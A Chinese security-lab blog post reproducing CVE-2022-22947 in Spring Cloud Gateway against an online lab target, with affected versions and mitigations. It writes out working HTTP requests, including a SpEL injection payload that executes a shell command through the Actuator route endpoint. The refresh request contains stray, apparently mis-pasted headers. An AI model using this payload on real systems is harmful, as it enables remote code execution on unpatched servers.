Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

admin 2022年9月3日02:55:23评论465 views字数 3433阅读11分26秒阅读模式

Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3340字,阅读约需9分钟。



Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x00 前情提要



VMware官方发布安全通告,披露了其Spring Cloud Gateway存在代码注入漏洞,漏洞编号CVE-2022-22947,该漏洞可导致远程代码执行等危害。



Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x01 漏洞概述



Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码



Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x02 影响版本



Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其它已不再更新的版本




Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x03 安全版本



Spring Cloud Gateway >= 3.1.1Spring Cloud Gateway >= 3.0.7




Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x04 靶场环境




为了节省搭建靶场的时间,直接在vulfocus在线靶场开起漏洞环境进行复现。


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


根据提示信息打开CVE-2022-22947的靶场环境,进行验证与攻击。


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


第一步


发送以下数据包,创建一个包含恶意SpEL表达式的路由。

POST /actuator/gateway/routes/test HTTP/1.1Host: 123.58.224.8:25941Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329

{"id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


第二步


发送以下数据包,刷新路由。

POST /actuator/gateway/refresh HTTP/1.1Host: 123.58.224.8:25941Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 456

Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


第三步


发送以下数据包,返回虚拟机的root用户信息,说明在服务器中执行成功。

GET /actuator/gateway/routes/test HTTP/1.1Host: 123.58.224.8:25941Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


第四步


测试完成后,删除路由即可。

DELETE /actuator/gateway/routes/test HTTP/1.1Host: 123.58.224.8:25941Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现



Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x05 工具自动化



参考以上漏洞复现的的过程,利用go语言编写exp漏洞利用工具。


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现




Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

0x06 修复建议



官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。

临时缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。


 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

戟星安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(戟星安全实验室):Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月3日02:55:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway远程代码执行(CVE-2022-22947)漏洞复现https://cn-sec.com/archives/1272933.html

发表评论

匿名网友 填写信息